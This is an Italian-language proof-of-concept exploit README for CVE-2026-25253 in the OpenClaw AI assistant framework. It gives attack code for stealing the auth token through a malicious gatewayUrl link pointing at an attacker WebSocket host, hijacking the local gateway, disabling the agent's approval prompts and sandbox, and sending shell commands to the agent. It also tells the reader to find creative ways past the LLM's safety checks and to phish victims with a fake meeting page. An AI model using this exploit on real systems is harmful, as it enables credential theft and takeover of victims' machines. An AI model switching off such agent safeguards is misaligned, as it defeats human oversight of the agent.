kajzingerakos/cve-2026-25253Proof-of-concept exploit per CVE-2026-25253, che dimostra l'esecuzione remota di codice con un solo clic in OpenClaw tramite furto del token di autenticazione e dirottamento WebSocket cross-site.
Software interessato: OpenClaw (clawbot) < v2026.1.29
ID CVE: CVE-2026-25253
Punteggio CVSS: 8.8 (Alto)
Impatto: Un attaccante remoto non autenticato può rubare un token di autenticazione e ottenere l'esecuzione remota di codice sull'host della vittima
DICHIARAZIONE DI NON RESPONSABILITÀ LEGALE: Questo codice e questo writeup sono forniti esclusivamente per ricerca di sicurezza autorizzata e scopi educativi. L'uso di questo exploit contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. L'autore non si assume alcuna responsabilità per un uso improprio.
OpenClaw, precedentemente noto come Clawdbot e indicato come Moltbot nelle prime versioni, è un framework di assistente AI che gira localmente su macOS, Windows o Linux. Supporta modelli cloud come Anthropic e OpenAI, oltre a modelli locali.
La Control UI è un'applicazione a pagina singola, servita su /chat. Comunica con il server gateway locale tramite WebSocket su ws://127.0.0.1:18789/ (o wss://host:18789/ per TLS).
Caratteristiche di sicurezza chiave delle versioni interessate:
localStoragenoble-ed25519)type: "req", "res", "event")connectapplySettingsFromUrl()La vulnerabilità risiede in applySettingsFromUrl() nella Control UI.
Quando la Control UI viene caricata, questa funzione legge il parametro di query ?gatewayUrl= dall'URL e lo memorizza come endpoint gateway attivo — senza alcuna validazione che verifichi se punta a un host attendibile.
Un attaccante può creare un link come:
http://<target>/chat?gatewayUrl=ws://attacker.com
Quando la vittima clicca su questo link mentre è autenticata in OpenClaw, accade automaticamente quanto segue:
applySettingsFromUrl() memorizza ws://attacker.com come nuovo URL del gatewayconnect — incluso il token di autenticazione, l'ID del dispositivo e la chiave pubblica Ed25519 — all'attaccantews://127.0.0.1:18789In questo PoC, l'attaccante ospita una pagina (meeting.html) che apre la Control UI della vittima in un popup, iniettata con il parametro ?gatewayUrl= dannoso:
const attackerGatewayUrl = `ws://<attacker>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');
Il server dell'attaccante sfrutta il fallback a due token di OpenClaw: il primo tentativo di connect utilizza il token del dispositivo (legato a Ed25519, non riproducibile). Rifiutandolo, il server costringe la Control UI a riprovare con il token delle impostazioni — un token bearer di lunga durata che è riproducibile:
// Rifiuta il tentativo #1 → costringe la Control UI a riprovare con il token delle impostazioni
if (connectAttempts === 1) {
ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
return;
}
// Tentativo #2 → token delle impostazioni → CATTURATO
capturedToken = token;
Con il token delle impostazioni rubato, meeting.html apre la propria connessione WebSocket diretta al gateway reale (ws://127.0.0.1:18789). Questo è possibile perché il gateway nelle versioni < v2026.1.29 non valida l'header Origin — qualsiasi pagina caricata nel browser della vittima può connettersi ad esso.
// Disattiva tutti i prompt di approvazione dell'esecuzione
await sendRequest('exec.approvals.set', {
file: {
defaults: { ask: 'off', autoAllowSkills: true },
agents: { '*': { ask: 'off' } },
}
});
// Esci dalla sandbox del container, reindirizza l'esecuzione alla macchina host
await sendRequest('config.patch', {
raw: JSON.stringify({
tools: { exec: { host: 'gateway', ask: 'off' } },
agents: { defaults: { sandbox: { mode: 'off' } } },
})
});
Il contenuto del campo messaggio viene elaborato dall'LLM configurato nell'agente; questo significa che, se l'LLM ritiene il contenuto dannoso, non eseguirà il comando. Devi essere creativo per bypassare le misure di sicurezza dell'LLM.
await sendRequest('agent', {
message: 'Execute this shell command: <payload>',
agentId: 'main',
sessionKey: 'agent:main:main',
deliver: false,
});
sequenceDiagram
autonumber
actor Attacker
participant Browser as Victim Browser<br/>(meeting.html)
participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
participant AtkWS as Attacker WS Server<br/>(:8080)
participant GW as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
participant LLM as Cloud LLM<br/>(OpenAI / Anthropic)
Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)
Note over Browser: Phase 1 — Token Theft
Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway
CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)
CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }
Note over Browser: Phase 2 — Gateway Hijack (CSWSH)
Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
GW-->>Browser: ✓ Authenticated as operator
Note over Browser: Phase 3 — Security Bypass
Browser->>GW: exec.approvals.set { ask: "off" }
GW-->>Browser: ✓ Approval prompts disabled
Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
GW-->>Browser: ✓ Sandbox disabled, exec on host
Note over Browser: Phase 4 — Remote Code Execution
Browser->>GW: agent { message: "Execute shell command: COMMAND" }
GW->>LLM: Forward prompt (security already stripped)
LLM-->>GW: Tool call: exec("COMMAND")
GW->>GW: Runs command on HOST filesystem
GW-->>Browser: ✓ Command executed
npm install # installs 'ws' dependency
meeting.htmlconst GATEWAY_URL = 'ws://127.0.0.1:18789'; // victim's local gateway
const ATTACKER_WS_PORT = 8080; // must match attacker-server.js
const COMMAND = 'touch /tmp/success';
node attacker-server.js
Invia alla vittima:
http://<ATTACKER_IP>:3000/meeting.html